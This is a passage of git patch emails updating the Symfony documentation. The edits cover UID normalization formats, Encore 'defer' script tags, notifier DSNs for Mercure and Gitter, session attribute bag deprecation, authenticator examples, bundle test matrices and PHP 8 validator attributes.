 :class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
     This normalizer converts objects that implement
-    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings. Also it can
-    denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
-    or :class:`Symfony\\Component\\Uid\\Ulid`.
+    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
+    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
+    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
+    You can change the string format by setting the serializer context option
+    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
+    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
+
+    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
+    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
 
 .. versionadded:: 5.2
 
     The ``UidNormalizer`` was introduced in Symfony 5.2.
 
-.. note::
-
-    You can also create your own Normalizer to use another structure. Read more at
-    :doc:`/serializer/custom_normalizer`.
+.. versionadded:: 5.3
 
-All these normalizers are enabled by default when using the Serializer component
-in a Symfony application.
+    The ``UidNormalizer`` normalization formats were introduced in Symfony 5.3.
 
 .. _component-serializer-encoders:
 
@@ -1616,3 +1620,4 @@ Learn more
 .. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
 .. _`API Platform`: https://api-platform.com
 .. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
+.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122

From d1e5e5ca36bff58a7777c1c5f42ce100360a8864 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 Jan 2021 17:49:15 +0100
Subject: [PATCH 1739/7107] Minor tweak

---
 bundles/best_practices.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 010ba551832..696c9da58ff 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -178,10 +178,10 @@ A bundle should at least test:
 
 * The lower bound of their dependencies (by running ``composer update --prefer-lowest``);
 * The supported PHP versions;
-* All supported major Symfony versions (e.g. both ``3.x`` and ``4.x`` if
+* All supported major Symfony versions (e.g. both ``4.x`` and ``5.x`` if
   support is claimed for both).
 
-Thus, a bundle support PHP 7.3, 7.4 and 8.0, and Symfony 3.4 and 4.x should
+Thus, a bundle supporting PHP 7.3, 7.4 and 8.0, and Symfony 3.4 and 4.x should
 have at least this test matrix:
 
 ===========  ===============  ===================

From 8c2c794690cac9239ed84e8a393f03a158db9c32 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Fri, 15 Jan 2021 14:13:07 -0500
Subject: [PATCH 1740/7107] Updating {% block javascripts position to match
 recipe change

---
 .doctor-rst.yaml                          |  2 +-
 frontend/encore/simple-example.rst        | 24 +++++++++++++----------
 introduction/from_flat_php_to_symfony.rst |  2 +-
 3 files changed, 16 insertions(+), 12 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 8da0ebdd6af..e71ca735f09 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -78,7 +78,7 @@ whitelist:
         - 'The bin/console Command'
         - '# username is your full Gmail or Google Apps email address'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
-        - '.. versionadded:: 0.21.0' # Encore
+        - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 0.28.4' # Encore
         - '.. versionadded:: 2.4.0' # SwiftMailer
         - '.. versionadded:: 1.30' # Twig
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index d4f74989aa1..4373f9c3b66 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -104,18 +104,18 @@ can do most of the work for you:
                 <!-- Renders a link tag (if your module requires any CSS)
                      <link rel="stylesheet" href="/build/app.css"> -->
             {% endblock %}
-        </head>
-        <body>
-            <!-- ... -->
 
             {% block javascripts %}
                 {{ encore_entry_script_tags('app') }}
 
                 <!-- Renders app.js & a webpack runtime.js file
-                    <script src="/build/runtime.js"></script>
-                    <script src="/build/app.js"></script> -->
+                    <script src="/build/runtime.js" defer></script>
+                    <script src="/build/app.js" defer></script>
+                    See note below about the "defer" attribute -->
             {% endblock %}
-        </body>
+        </head>
+
+        <!-- ... -->
     </html>
 
 .. _encore-entrypointsjson-simple-description:
@@ -135,11 +135,14 @@ If you're *not* using Symfony, you can ignore the ``entrypoints.json`` file and
 point to the final, built file directly. ``entrypoints.json`` is only required for
 some optional features.
 
-.. versionadded:: 0.21.0
+.. versionadded:: 1.9.0
 
-    The ``encore_entry_link_tags()`` comes from WebpackEncoreBundle and relies
-    on a feature in Encore that was first introduced in version 0.21.0. Previously,
-    the ``asset()`` function was used to point directly to the file.
+    The ``defer`` attribute on the ``script`` tags delays the execution of the
+    JavaScript until the page loads (similar to putting the ``script`` at the
+    bottom of the page). The ability to always add this attribute was introduced
+    in WebpackEncoreBundle 1.9.0 and is automatically enabled in that bundle's
+    recipe in the ``config/packages/webpack_encore.yaml`` file. See
+    `WebpackEncoreBundle Configuration`_ for more details.
 
 Requiring JavaScript Modules
 ----------------------------
@@ -355,3 +358,4 @@ Encore supports many more features! For a full list of what you can do, see
 
 .. _`Encore's index.js file`: https://github.com/symfony/webpack-encore/blob/master/index.js
 .. _`ECMAScript 6 modules`: https://hacks.mozilla.org/2015/08/es6-in-depth-modules/
+.. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 40a421f85dd..bae9ee9a8dc 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -609,10 +609,10 @@ The ``layout.php`` file is nearly identical:
             <meta charset="UTF-8">
             <title>{% block title %}Welcome!{% endblock %}</title>
             {% block stylesheets %}{% endblock %}
+            {% block javascripts %}{% endblock %}
         </head>
         <body>
             {% block body %}{% endblock %}
-            {% block javascripts %}{% endblock %}
         </body>
     </html>
 

From 2755910b95f049af2339920d5f84581b5ea23dc5 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Fri, 15 Jan 2021 21:14:17 +0100
Subject: [PATCH 1741/7107] [Lock] Use .inner instead of decorating_service_id
 + '.inner'

---
 lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lock.rst b/lock.rst
index a8334a12fa8..728eb85b659 100644
--- a/lock.rst
+++ b/lock.rst
@@ -293,4 +293,4 @@ you can do it by :doc:`decorating the store </service_container/service_decorati
     lock.default.retry_till_save.store:
         class: Symfony\Component\Lock\Store\RetryTillSaveStore
         decorates: lock.default.store
-        arguments: ['@lock.default.retry_till_save.store.inner', 100, 50]
+        arguments: ['@.inner', 100, 50]

From 475a87ddde48c1f4707cbe67f090a907a6bd6704 Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Tue, 8 Dec 2020 17:11:20 +0100
Subject: [PATCH 1742/7107] [Notifier] Add Mercure notifier documentation

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index da02d2a585d..73bdf4d86ed 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -153,6 +153,7 @@ Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@def
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+Mercure     ``symfony/mercure-notifier``      ``mercure://PUBLISHER_SERVICE_ID?topic=TOPIC``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack       ``symfony/slack-notifier``        ``slack://TOKEN@default?channel=CHANNEL``
 Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
@@ -170,6 +171,10 @@ Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:TOKEN@HOST?channel
     The GoogleChat, LinkedIn, Zulip and Discord integrations were introduced in Symfony 5.2.
     The Slack DSN changed in Symfony 5.2 to use Slack Web API again same as in 5.0.
 
+.. versionadded:: 5.3
+
+    The Mercure integration was introduced in Symfony 5.3.
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash

From 9df0164ebdc1d62d200142b26126a19d2188b466 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Sun, 17 Jan 2021 09:45:42 +0100
Subject: [PATCH 1743/7107] deprecate the NamespacedAttributeBag class

---
 components/http_foundation/sessions.rst | 10 ++++++++++
 session.rst                             |  5 +++++
 2 files changed, 15 insertions(+)

diff --git a/components/http_foundation/sessions.rst b/components/http_foundation/sessions.rst
index 9c9479e3e5e..5756a38fc58 100644
--- a/components/http_foundation/sessions.rst
+++ b/components/http_foundation/sessions.rst
@@ -169,6 +169,11 @@ and "Remember Me" login settings or other user based state information.
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
     This implementation allows for attributes to be stored in a structured namespace.
 
+    .. deprecated:: 5.3
+
+        The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
+        If you need this feature, you will have to implement the class yourself.
+
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface`
 has the API
 
@@ -237,6 +242,11 @@ So any processing of this might quickly get ugly, even adding a token to the arr
     $tokens['c'] = $value;
     $session->set('tokens', $tokens);
 
+.. deprecated:: 5.3
+
+    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
+    If you need this feature, you will have to implement the class yourself.
+
 With structured namespacing, the key can be translated to the array
 structure like this using a namespace character (which defaults to ``/``)::
 
diff --git a/session.rst b/session.rst
index 47e8cc3d269..394cfece78b 100644
--- a/session.rst
+++ b/session.rst
@@ -167,6 +167,11 @@ By default, session attributes are key-value pairs managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
 class.
 
+.. deprecated:: 5.3
+
+    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
+    If you need this feature, you will have to implement the class yourself.
+
 If your application needs are complex, you may prefer to use
 :ref:`namespaced session attributes <namespaced-attributes>` which are managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`

From 5dba6e69b3ee57a6bb3375b4ee304688269d6c4f Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Fri, 15 Jan 2021 22:40:21 +0100
Subject: [PATCH 1744/7107] Update testing.rst

Replaced "an" by "a" (line 66)
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index c3dd66c7f9c..130ed0ab2ae 100644
--- a/testing.rst
+++ b/testing.rst
@@ -63,7 +63,7 @@ If you want to test an entire feature of your application (e.g. registering as a
 user or generating an invoice), see the section about :ref:`Functional Tests <functional-tests>`.
 
 Writing Symfony unit tests is no different from writing standard PHPUnit
-unit tests. Suppose, for example, that you have an class called ``Calculator``
+unit tests. Suppose, for example, that you have a class called ``Calculator``
 in the ``src/Util/`` directory of the app::
 
     // src/Util/Calculator.php

From bd610d3ac0f42d8a0255d86cc5bc2b2a70a7f092 Mon Sep 17 00:00:00 2001
From: Johnny Peck <johnnypeck@users.noreply.github.com>
Date: Fri, 15 Jan 2021 21:49:53 -0500
Subject: [PATCH 1745/7107] Update lock.rst

Small grammar change.
---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 55ddcf377b3..7b2c131947d 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -158,7 +158,7 @@ method, the resource will stay locked until the timeout::
 
 .. tip::
 
-    To avoid letting the lock in a locking state, it's recommended to wrap the
+    To avoid leaving the lock in a locked state, it's recommended to wrap the
     job in a try/catch/finally block to always try to release the expiring lock.
 
 In case of long-running tasks, it's better to start with a not too long TTL and

From b11628ac41a4119918b51b38f6c8572704967507 Mon Sep 17 00:00:00 2001
From: Miky Mikolaj <mikolaj.adam@gmail.com>
Date: Sun, 17 Jan 2021 17:34:39 +0100
Subject: [PATCH 1746/7107] getId(): ?Uuid missing // need test getId: ?Ulid

I added all code as in example, but i had still issue with api-platform that getId() field is wrong defined...
I have no experience with ULID !!! Please test my solution for

This solved my issue.. and now i am able create, update or delete record without any other issues.
I think that this will save lot of time for new users... because fist i thinked that must be
    public function getId(): ?UuidV4Generator
    {
        return $this->id;
    }

but with this my code was still broken...  now i know that there must be if you change primary identifier from Int to Uuid
use Symfony\Component\Uid\Uuid;
public function getId(): ?Uuid
        {
            return $this->id;
        }

....
also i think need to done the section of Uuid and Ulid for  private $someProperty; getter and setter
---
 components/uid.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index bdeb252bb65..a7fb95d5d2f 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -141,6 +141,7 @@ entity primary keys::
 
     // there are generators for UUID V1 and V6 too
     use Symfony\Bridge\Doctrine\IdGenerator\UuidV4Generator;
+    use Symfony\Component\Uid\Uuid;
 
     /**
      * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
@@ -156,6 +157,13 @@ entity primary keys::
         private $id;
 
         // ...
+        
+        public function getId(): ?Uuid
+        {
+            return $this->id;
+        }
+        
+        // ...
     }
 
 .. versionadded:: 5.2
@@ -279,6 +287,7 @@ There's also a Doctrine generator to help autogenerate ULID values for the
 entity primary keys::
 
     use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
+    use Symfony\Component\Uid\Ulid;    
 
     /**
      * @ORM\Entity(repositoryClass="App\Repository\ProductRepository")
@@ -294,6 +303,14 @@ entity primary keys::
         private $id;
 
         // ...
+        
+        public function getId(): ?Ulid
+        {
+            return $this->id;
+        }
+        
+        // ...
+        
     }
 
 .. versionadded:: 5.2

From b9fe645c2f413143b434d8169b74a518e7b70c40 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Mon, 18 Jan 2021 10:05:15 +0100
Subject: [PATCH 1747/7107] expand code example to clarify usage of the
 UserRepository

---
 security/experimental_authenticators.rst | 32 +++++++++++++++++++-----
 1 file changed, 26 insertions(+), 6 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index c84f36ed51d..eb0ffa098e0 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -457,13 +457,33 @@ using :ref:`the user provider <security-user-providers>`::
     and must return a ``UserInterface`` object (otherwise a
     ``UsernameNotFoundException`` is thrown)::
 
+        // src/Security/CustomAuthenticator.php
+        namespace App\Security;
+
+        use App\Repository\UserRepository;
         // ...
-        $passport = new Passport(
-            new UserBadge($email, function ($userIdentifier) {
-                return $this->userRepository->findOneBy(['email' => $userIdentifier]);
-            }),
-            $credentials
-        );
+
+        class CustomAuthenticator extends AbstractAuthenticator
+        {
+            private $userRepository;
+
+            public function __construct(UserRepository $userRepository)
+            {
+                $this->userRepository = $userRepository;
+            }
+
+            public function authenticate(Request $request): PassportInterface
+            {
+                // ...
+
+                return new Passport(
+                    new UserBadge($email, function ($userIdentifier) {
+                        return $this->userRepository->findOneBy(['email' => $userIdentifier]);
+                    }),
+                    $credentials
+                );
+            }
+        }
 
 The following credential classes are supported by default:
 

From d75a175462ff9f8ac8ee411d66ff59d7ad6e6690 Mon Sep 17 00:00:00 2001
From: Boris Sondagh <me@borissondagh.com>
Date: Mon, 18 Jan 2021 15:27:48 +0100
Subject: [PATCH 1748/7107] Update best_practices.rst

---
 bundles/best_practices.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 696c9da58ff..80e13b8b10b 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -25,6 +25,7 @@ namespace short name, which must end with ``Bundle``.
 A namespace becomes a bundle as soon as you add a bundle class to it. The
 bundle class name must follow these rules:
 
+* Extend Symfony\Component\HttpKernel\Bundle\Bundle
 * Use only alphanumeric characters and underscores;
 * Use a StudlyCaps name (i.e. camelCase with an uppercase first letter);
 * Use a descriptive and short name (no more than two words);
@@ -41,9 +42,6 @@ Namespace                   Bundle Class Name
 ``Acme\BlogBundle``         AcmeBlogBundle
 ==========================  ==================
 
-By convention, the ``getName()`` method of the bundle class should return the
-class name.
-
 .. note::
 
     If you share your bundle publicly, you must use the bundle class name as

From 08a07c917f672bcf17f5e4bbfe070a7100ceacc6 Mon Sep 17 00:00:00 2001
From: YaFou <33806646+YaFou@users.noreply.github.com>
Date: Mon, 18 Jan 2021 19:33:41 +0100
Subject: [PATCH 1749/7107] [Security] Clarify the DeauthenticatedEvent

---
 components/security/authentication.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 4cb87975e08..1f75b433c6c 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -276,15 +276,15 @@ Authentication Events
 
 The security component provides the following authentication events:
 
-===============================  ================================================================= ==============================================================================
-Name                             Event Constant                                                    Argument Passed to the Listener
-===============================  ================================================================= ==============================================================================
-security.authentication.success  ``AuthenticationEvents::AUTHENTICATION_SUCCESS``                  :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
-security.authentication.failure  ``AuthenticationEvents::AUTHENTICATION_FAILURE``                  :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationFailureEvent`
-security.interactive_login       ``SecurityEvents::INTERACTIVE_LOGIN``                             :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
-security.switch_user             ``SecurityEvents::SWITCH_USER``                                   :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
-security.logout_on_change        ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent``    :class:`Symfony\\Component\\Security\\Http\\Event\\DeauthenticatedEvent`
-===============================  ================================================================= ==============================================================================
+===============================  ======================================================================== ==============================================================================
+Name                             Event Constant                                                           Argument Passed to the Listener
+===============================  ======================================================================== ==============================================================================
+security.authentication.success  ``AuthenticationEvents::AUTHENTICATION_SUCCESS``                         :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
+security.authentication.failure  ``AuthenticationEvents::AUTHENTICATION_FAILURE``                         :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationFailureEvent`
+security.interactive_login       ``SecurityEvents::INTERACTIVE_LOGIN``                                    :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
+security.switch_user             ``SecurityEvents::SWITCH_USER``                                          :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
+security.logout_on_change        ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent::class``    :class:`Symfony\\Component\\Security\\Http\\Event\\DeauthenticatedEvent`
+===============================  ======================================================================== ==============================================================================
 
 Authentication Success and Failure Events
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -317,7 +317,7 @@ The ``security.switch_user`` event is triggered every time you activate
 the ``switch_user`` firewall listener.
 
 The ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent`` event is triggered when a token has been deauthenticated
-because of a user change, it can help you doing some clean-up task when a logout has been triggered.
+because of a user change, it can help you doing some clean-up task.
 
 .. versionadded:: 4.3
 

From 7c0db224906e62a43283971d6eac064588159623 Mon Sep 17 00:00:00 2001
From: Christopher <chris@johnstoncode.com>
Date: Tue, 19 Jan 2021 11:12:38 +0000
Subject: [PATCH 1750/7107] Added missing Dotenv use

---
 migration.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/migration.rst b/migration.rst
index 6b71a07670b..ec42dfd4a33 100644
--- a/migration.rst
+++ b/migration.rst
@@ -239,6 +239,7 @@ could look something like this::
     use App\Kernel;
     use App\LegacyBridge;
     use Symfony\Component\Debug\Debug;
+    use Symfony\Component\Dotenv\Dotenv;
     use Symfony\Component\HttpFoundation\Request;
 
     require dirname(__DIR__).'/vendor/autoload.php';

From b2be224760b653cfb0aa6f7e0d45e62c27ee0b2f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 19 Jan 2021 09:08:55 +0100
Subject: [PATCH 1751/7107] Use Sf4 + Sf5 instead of Sf3 for bundle best
 practices

---
 bundles/best_practices.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 696c9da58ff..c9dab120c53 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -181,15 +181,15 @@ A bundle should at least test:
 * All supported major Symfony versions (e.g. both ``4.x`` and ``5.x`` if
   support is claimed for both).
 
-Thus, a bundle supporting PHP 7.3, 7.4 and 8.0, and Symfony 3.4 and 4.x should
+Thus, a bundle supporting PHP 7.3, 7.4 and 8.0, and Symfony 4.4 and 5.x should
 have at least this test matrix:
 
 ===========  ===============  ===================
 PHP version  Symfony version  Composer flags
 ===========  ===============  ===================
-7.3          ``3.*``          ``--prefer-lowest``
-7.4          ``4.*``
-8.0          ``4.*``
+7.3          ``4.*``          ``--prefer-lowest``
+7.4          ``5.*``
+8.0          ``5.*``
 ===========  ===============  ===================
 
 .. tip::

From 00db43a4f034ff0f8412953fc4766a01e8fba791 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 19 Jan 2021 23:16:46 +0100
Subject: [PATCH 1752/7107] Just moving this note upwards
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Reasons:
* It's a *general* thing, has nothing to do with "Handlers that Modify Log Entries".
* Since this is uncommon in Symfony, it should be explained as early as possible.
* Fits quite well after this sentence:
  > This defines a stack of handlers and each handler is called in the order that it’s defined.
---
 logging.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/logging.rst b/logging.rst
index 0b3481a738f..d4ed95189ba 100644
--- a/logging.rst
+++ b/logging.rst
@@ -159,6 +159,13 @@ to write logs using the :phpfunction:`syslog` function:
 This defines a *stack* of handlers and each handler is called in the order that it's
 defined.
 
+.. note::
+
+    If you want to override the ``monolog`` configuration via another config
+    file, you will need to redefine the entire ``handlers`` stack. The configuration
+    from the two files cannot be merged because the order matters and a merge does
+    not allow to control the order.
+
 Handlers that Modify Log Entries
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -263,13 +270,6 @@ debugging much easier!
     The handler named "file_log" will not be included in the stack itself as
     it is used as a nested handler of the ``fingers_crossed`` handler.
 
-.. note::
-
-    If you want to override the ``monolog`` configuration via another config
-    file, you will need to redefine the entire ``handlers`` stack. The configuration
-    from the two files cannot be merged because the order matters and a merge does
-    not allow to control the order.
-
 All Built-in Handlers
 ---------------------
 

From 26e88f7da3322a594b9eccbdce021bb6cf6fd4d4 Mon Sep 17 00:00:00 2001
From: Christin Gruber <c.gruber@touchdesign.de>
Date: Wed, 20 Jan 2021 17:26:23 +0100
Subject: [PATCH 1753/7107] Add symfony/gitter-notifier docs

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 73bdf4d86ed..a2072e79c13 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -150,6 +150,7 @@ Service     Package                           DSN
 ==========  ================================  ===========================================================================
 Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
 Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@default``
+Gitter      ``symfony/gitter-notifier``       ``GITTER_DSN=gitter://TOKEN@default?room_id=ROOM_ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
@@ -173,7 +174,7 @@ Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:TOKEN@HOST?channel
 
 .. versionadded:: 5.3
 
-    The Mercure integration was introduced in Symfony 5.3.
+    The Gitter and Mercure integrations were introduced in Symfony 5.3.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 748bd54c675fbe0aeb6c01f385c5e68d002d1157 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 14 Nov 2020 15:37:16 +0100
Subject: [PATCH 1754/7107] [Validator] Document constraints as php 8
 Attributes

---
 reference/constraints/Bic.rst                 | 13 +++
 reference/constraints/Blank.rst               | 13 +++
 reference/constraints/Callback.rst            | 30 +++++++
 reference/constraints/CardScheme.rst          | 16 ++++
 reference/constraints/Choice.rst              | 45 ++++++++++
 reference/constraints/Count.rst               | 18 ++++
 reference/constraints/Country.rst             | 13 +++
 reference/constraints/Currency.rst            | 13 +++
 reference/constraints/Date.rst                | 13 +++
 reference/constraints/DateTime.rst            | 16 ++++
 reference/constraints/DivisibleBy.rst         | 18 ++++
 reference/constraints/Email.rst               | 15 ++++
 reference/constraints/EqualTo.rst             | 18 ++++
 reference/constraints/Expression.rst          | 54 ++++++++++++
 .../constraints/ExpressionLanguageSyntax.rst  | 18 ++++
 reference/constraints/File.rst                | 17 ++++
 reference/constraints/GreaterThan.rst         | 57 +++++++++++++
 reference/constraints/GreaterThanOrEqual.rst  | 57 +++++++++++++
 reference/constraints/Hostname.rst            | 13 +++
 reference/constraints/Iban.rst                | 15 ++++
 reference/constraints/IdenticalTo.rst         | 18 ++++
 reference/constraints/Image.rst               | 34 ++++++++
 reference/constraints/Ip.rst                  | 13 +++
 reference/constraints/IsFalse.rst             | 18 ++++
 reference/constraints/IsNull.rst              | 13 +++
 reference/constraints/IsTrue.rst              | 18 ++++
 reference/constraints/Isbn.rst                | 16 ++++
 reference/constraints/Isin.rst                | 13 +++
 reference/constraints/Issn.rst                | 13 +++
 reference/constraints/Json.rst                | 15 ++++
 reference/constraints/Language.rst            | 13 +++
 reference/constraints/Length.rst              | 19 +++++
 reference/constraints/LessThan.rst            | 57 +++++++++++++
 reference/constraints/LessThanOrEqual.rst     | 57 +++++++++++++
 reference/constraints/Locale.rst              | 15 ++++
 reference/constraints/Luhn.rst                | 13 +++
 reference/constraints/Negative.rst            | 13 +++
 reference/constraints/NegativeOrZero.rst      | 13 +++
 reference/constraints/NotBlank.rst            | 13 +++
 .../constraints/NotCompromisedPassword.rst    | 13 +++
 reference/constraints/NotEqualTo.rst          | 18 ++++
 reference/constraints/NotIdenticalTo.rst      | 18 ++++
 reference/constraints/NotNull.rst             | 13 +++
 reference/constraints/Positive.rst            | 13 +++
 reference/constraints/PositiveOrZero.rst      | 13 +++
 reference/constraints/Range.rst               | 65 +++++++++++++++
 reference/constraints/Regex.rst               | 46 +++++++++++
 reference/constraints/Time.rst                | 16 ++++
 reference/constraints/Timezone.rst            | 13 +++
 reference/constraints/Traverse.rst            | 82 +++++++++++++++++++
 reference/constraints/Type.rst                | 25 ++++++
 reference/constraints/Ulid.rst                | 13 +++
 reference/constraints/Unique.rst              | 13 +++
 reference/constraints/UniqueEntity.rst        | 54 ++++++++++++
 reference/constraints/Url.rst                 | 58 +++++++++++++
 reference/constraints/UserPassword.rst        | 15 ++++
 reference/constraints/Uuid.rst                | 13 +++
 reference/constraints/Valid.rst               | 47 +++++++++++
 58 files changed, 1404 insertions(+)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 029a322e294..076cbf29b6c 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -41,6 +41,19 @@ will contain a Business Identifier Code (BIC).
             protected $businessIdentifierCode;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\Bic]
+            protected $businessIdentifierCode;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index 8a5ba13671a..fbbd693e013 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -45,6 +45,19 @@ of an ``Author`` class were blank, you could do the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Blank]
+            protected $firstName;
